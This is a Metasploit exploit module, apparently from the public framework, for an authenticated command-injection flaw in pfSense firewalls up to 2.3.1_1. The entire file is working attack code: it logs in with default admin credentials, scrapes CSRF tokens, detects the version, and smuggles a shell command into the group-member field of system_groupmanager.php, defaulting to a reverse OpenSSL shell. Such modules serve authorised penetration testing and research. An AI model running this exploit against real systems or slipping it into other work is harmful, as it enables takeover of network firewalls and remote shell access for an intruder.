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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::HttpClient
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name'        => 'pfSense authenticated group member RCE',
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        'Description' => %q(
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          pfSense, a free BSD based open source firewall distribution,
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          version <= 2.3.1_1 contains a remote command execution
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          vulnerability post authentication in the system_groupmanager.php page.
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          Verified against 2.2.6 and 2.3.
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        ),
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        'Author'      =>
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          [
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            's4squatch', # discovery
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            'h00die'     # module
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          ],
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        'References'  =>
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          [
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            [ 'EDB', '43128' ],
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            [ 'URL', 'https://www.pfsense.org/security/advisories/pfSense-SA-16_08.webgui.asc']
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          ],
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        'License'        => MSF_LICENSE,
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        'Platform'       => 'unix',
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        'Privileged'     => false,
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        'DefaultOptions' =>
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          {
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            'SSL' => true,
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            'PAYLOAD' => 'cmd/unix/reverse_openssl'
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          },
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        'Arch'           => [ ARCH_CMD ],
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        'Payload'        =>
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          {
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            'Compat' =>
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              {
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                'PayloadType' => 'cmd',
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                'RequiredCmd' => 'perl openssl'
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              }
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          },
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        'Targets'        =>
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          [
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            [ 'Automatic Target', {}]
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          ],
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        'DefaultTarget' => 0,
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        'DisclosureDate' => '2017-11-06'
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      )
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    )
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    register_options(
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      [
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        OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
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        OptString.new('PASSWORD', [ false, 'Password to login with', 'pfsense']),
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        Opt::RPORT(443)
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      ], self.class
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    )
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  end
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  def login
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    res = send_request_cgi(
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      'uri' => '/index.php',
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      'method' => 'GET'
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    )
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    fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
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    fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
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    /var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
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    fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
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    vprint_status("CSRF Token for login: #{csrf}")
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    res = send_request_cgi(
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      'uri' => '/index.php',
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      'method' => 'POST',
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      'vars_post' => {
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        '__csrf_magic' => csrf,
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        'usernamefld'  => datastore['USERNAME'],
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        'passwordfld'  => datastore['PASSWORD'],
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        'login'        => ''
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      }
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    )
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    unless res
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      fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")
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    end
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    if res.code == 302
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      vprint_status('Successful Authentication')
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      return res.get_cookies
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    else
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      fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
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      return nil
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    end
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  end
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  def detect_version(cookie)
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    res = send_request_cgi(
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      'uri' => '/index.php',
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      'method' => 'GET',
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      'cookie' => cookie
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    )
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    unless res
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      fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")
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    end
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    /Version.+<strong>(?<version>[0-9\.\-RELEASE]+)[\n]?<\/strong>/m =~ res.body
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    if version
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      print_status("pfSense Version Detected: #{version}")
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      return Rex::Version.new(version)
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    end
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    # If the device isn't fully setup, you get stuck at redirects to wizard.php
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    # however, this does NOT stop exploitation strangely
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    print_error("pfSens Version Not Detected or wizard still enabled.")
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    Rex::Version.new('0.0')
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  end
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  def check
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    begin
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      res = send_request_cgi(
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        'uri'       => '/index.php',
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        'method'    => 'GET'
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      )
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      fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
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      fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
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      if /Login to pfSense/ =~ res.body
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        Exploit::CheckCode::Detected
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      else
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        Exploit::CheckCode::Safe
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      end
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    rescue ::Rex::ConnectionError
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      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
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    end
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  end
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  def exploit
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    begin
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      cookie = login
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      version = detect_version(cookie)
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      vprint_good('Login Successful')
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      res = send_request_cgi(
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        'uri'    => '/system_groupmanager.php',
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        'method' => 'GET',
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        'cookie' => cookie,
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        'vars_get' => {
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          'act' => 'new'
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        }
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      )
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      /var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
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      fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
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      vprint_status("CSRF Token for group creation: #{csrf}")
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      group_name = rand_text_alpha(10)
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      post_vars = {
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        '__csrf_magic' => csrf,
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        'groupname' => group_name,
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        'description' => '',
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        'members[]' => "0';#{payload.encoded};'",
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        'groupid' => '',
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        'save' => 'Save'
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      }
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      if version >= Rex::Version.new('2.3')
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        post_vars = post_vars.merge('gtype' => 'local')
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      elsif version <= Rex::Version.new('2.3') # catch for 2.2.6. left this elsif for easy expansion to other versions as needed
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        post_vars = post_vars.merge(
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          'act' => '',
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          'gtype' => '',
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          'privid' => ''
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        )
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      end
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      send_request_cgi(
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        'uri'           => '/system_groupmanager.php',
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        'method'        => 'POST',
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        'cookie'        => cookie,
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        'vars_post'     => post_vars,
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        'vars_get' => {
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          'act' => 'edit'
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        }
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      )
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      print_status("Manual removal of group #{group_name} is required.")
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    rescue ::Rex::ConnectionError
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      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
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    end
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  end
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end
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